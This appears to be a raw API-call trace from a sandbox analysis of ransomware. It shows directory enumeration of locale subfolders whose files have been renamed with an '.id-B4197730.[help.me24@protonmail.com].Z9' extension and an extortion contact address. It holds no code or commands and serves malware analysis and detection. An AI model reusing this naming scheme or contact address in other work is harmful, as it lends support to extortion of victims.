	[0160.485] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x355286d0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x355286d0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.485] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f242f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f242f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x360555d5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.485] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f242f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f242f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x360555d5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.485] FindClose (in: hFindFile=0x76e928 | out: hFindFile=0x76e928) returned 1
	[0160.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.486] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0160.486] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.486] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eda8
	[0160.487] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.487] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3565995e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35908362, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.487] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ce80e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35ce80e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35d0e283, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.487] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362933ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.487] FindNextFileW (in: hFindFile=0x76eda8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362933ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.487] FindClose (in: hFindFile=0x76eda8 | out: hFindFile=0x76eda8) returned 1
	[0160.488] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.488] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0160.488] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.488] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0160.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3578ac54, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3578ac54, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35895e1b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x357fd1e9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x357fd1e9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35a39668, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.489] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.490] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0160.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.490] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0160.490] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.490] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e628
	[0160.491] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.491] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35895e1b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35895e1b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35a5f798, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.491] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35a85baf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35a85baf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35b6a895, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.492] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.492] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3602f3cd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3602f3cd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36160711, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.492] FindClose (in: hFindFile=0x76e628 | out: hFindFile=0x76e628) returned 1
	[0160.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.492] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0160.493] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.493] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0160.493] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.493] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35a5f798, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35a5f798, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ad1f49, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.494] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35a85baf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35a85baf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ad1f49, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.494] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3626a05b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3626a05b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362dbdff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.494] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3626a05b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3626a05b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362dbdff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.494] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0160.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.495] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0160.495] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.495] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.495] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.495] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b1e321, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b1e321, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35bdceb2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.496] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35d3463f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d3463f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ed7fca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.496] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b0b4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.496] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36160711, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36160711, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b0b4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.496] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0160.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.497] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0160.497] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.497] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.497] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
